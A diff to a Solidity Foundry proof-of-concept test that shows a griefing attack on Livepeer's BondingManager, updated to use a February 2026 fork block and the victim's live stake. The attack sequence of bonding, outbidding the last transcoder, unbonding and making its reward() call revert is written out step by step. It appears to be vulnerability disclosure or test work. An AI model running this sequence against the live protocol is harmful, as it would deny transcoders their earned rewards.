@@ -70,6 +70,8 @@ interface IBondingManager {
7070 function getTranscoder (address _transcoder ) external view returns (TranscoderData memory );
7171
7272 function getDelegator (address _delegator ) external view returns (DelegatorData memory );
73+
74+ function transcoderTotalStake (address _transcoder ) external view returns (uint256 );
7375}
7476
7577interface IRoundsManager {
@@ -86,6 +88,7 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
8688 address public immutable minter;
8789 IBondingManager public immutable bondingManager;
8890 IRoundsManager public immutable roundsManager;
91+ uint256 public lastTranscoderTotalStake;
8992
9093 constructor () {
9194 lpt = LivepeerToken (getContract ("LivepeerToken " ));
@@ -97,8 +100,10 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
97100 uint256 roundLength;
98101
99102 function setUp () public {
100- vm.rollFork (290482185 );
103+ vm.rollFork (430253488 ); // Feb 9, 2026 https://arbiscan.io/block/430253488
101104 roundLength = roundsManager.roundLength ();
105+ address lastTranscoder = _getLastTranscoder ();
106+ lastTranscoderTotalStake = bondingManager.transcoderTotalStake (lastTranscoder);
102107 }
103108
104109 function _skipToNextRound () internal {
@@ -135,11 +140,11 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
135140 address attacker = newAddr ();
136141 address lastTranscoder = _getLastTranscoder ();
137142
138- // Attacker needs 450 + 2 lpt to execute the attack
143+ // Attacker needs lastTranscoderTotalStake + 2 lpt to execute the attack
139144 vm.prank (minter);
140- lpt.mint (attacker, 450 * 1e18 + 2 );
145+ lpt.mint (attacker, lastTranscoderTotalStake + 2 );
141146
142- // ---------------------- ROUND = 45816 ----------------------
147+ // ---------------------- ROUND ONE ----------------------
143148 _skipToNextRound ();
144149
145150 // Attacker bonds for themself to make their status in the next round become "Bonded"
@@ -148,12 +153,12 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
148153 bondingManager.bond (1 , attacker);
149154 vm.stopPrank ();
150155
151- // ---------------------- ROUND = 45817 ----------------------
156+ // ---------------------- ROUND TWO ----------------------
152157 _skipToNextRound ();
153158
154159 // Attacker bonds more than the last transcoder and kicks them out of the `transcoderPool`
155160 vm.startPrank (attacker);
156- bondingManager.bond (450 * 1e18 , attacker);
161+ bondingManager.bond (lastTranscoderTotalStake , attacker);
157162 assertEq (attacker, _getLastTranscoder ());
158163
159164 // Attacker unbonds all to make the `transcoderPool` not full
@@ -165,7 +170,7 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
165170
166171 assertEq (_getTranscoderData (lastTranscoder).activationRound, roundsManager.currentRound () + 1 );
167172
168- // The `lastTranscoder` is unable to claim the reward for ROUND = 3640 because it is considered as inactive
173+ // The `lastTranscoder` is unable to claim the reward for ROUND TWO because it is considered as inactive
169174 vm.expectRevert (bytes ("caller must be an active transcoder " ));
170175 vm.prank (lastTranscoder);
171176 bondingManager.reward ();
@@ -178,13 +183,13 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
178183 address attackerForRebond = newAddr ();
179184 address lastTranscoder = _getLastTranscoder ();
180185
181- // Attacker needs 450 + 3 lpt to execute the attack
186+ // Attacker needs lastTranscoderTotalStake + 5 lpt to execute the attack
182187 vm.startPrank (minter);
183- lpt.mint (attacker, 450 * 1e18 + 1 );
188+ lpt.mint (attacker, lastTranscoderTotalStake + 3 );
184189 lpt.mint (attackerForRebond, 2 );
185190 vm.stopPrank ();
186191
187- // ---------------------- ROUND = 45816 ----------------------
192+ // ---------------------- ROUND ONE ----------------------
188193 _skipToNextRound ();
189194
190195 // Attacker bonds to the last transcoder and immediately unbonds
@@ -199,12 +204,12 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
199204 bondingManager.bond (1 , attacker);
200205 vm.stopPrank ();
201206
202- // ---------------------- ROUND = 45817 ----------------------
207+ // ---------------------- ROUND TWO ----------------------
203208 _skipToNextRound ();
204209
205210 // Attacker bonds more than the last transcoder and kicks them out of the `transcoderPool`
206211 vm.startPrank (attacker);
207- bondingManager.bond (450 * 1e18 , attacker);
212+ bondingManager.bond (lastTranscoderTotalStake + 2 , attacker);
208213 assertEq (attacker, _getLastTranscoder ());
209214
210215 // Attacker unbonds all to make the `transcoderPool` not full
@@ -221,7 +226,7 @@ contract BondingManagerGriefLastTranscoderRewardPoc is GovernorBaseTest {
221226
222227 assertEq (_getTranscoderData (lastTranscoder).activationRound, roundsManager.currentRound () + 1 );
223228
224- // The `lastTranscoder` is unable to claim the reward for ROUND = 3640 because it is considered as inactive
229+ // The `lastTranscoder` is unable to claim the reward for ROUND TWO because it is considered as inactive
225230 vm.expectRevert (bytes ("caller must be an active transcoder " ));
226231 vm.prank (lastTranscoder);
227232 bondingManager.reward ();
0 commit comments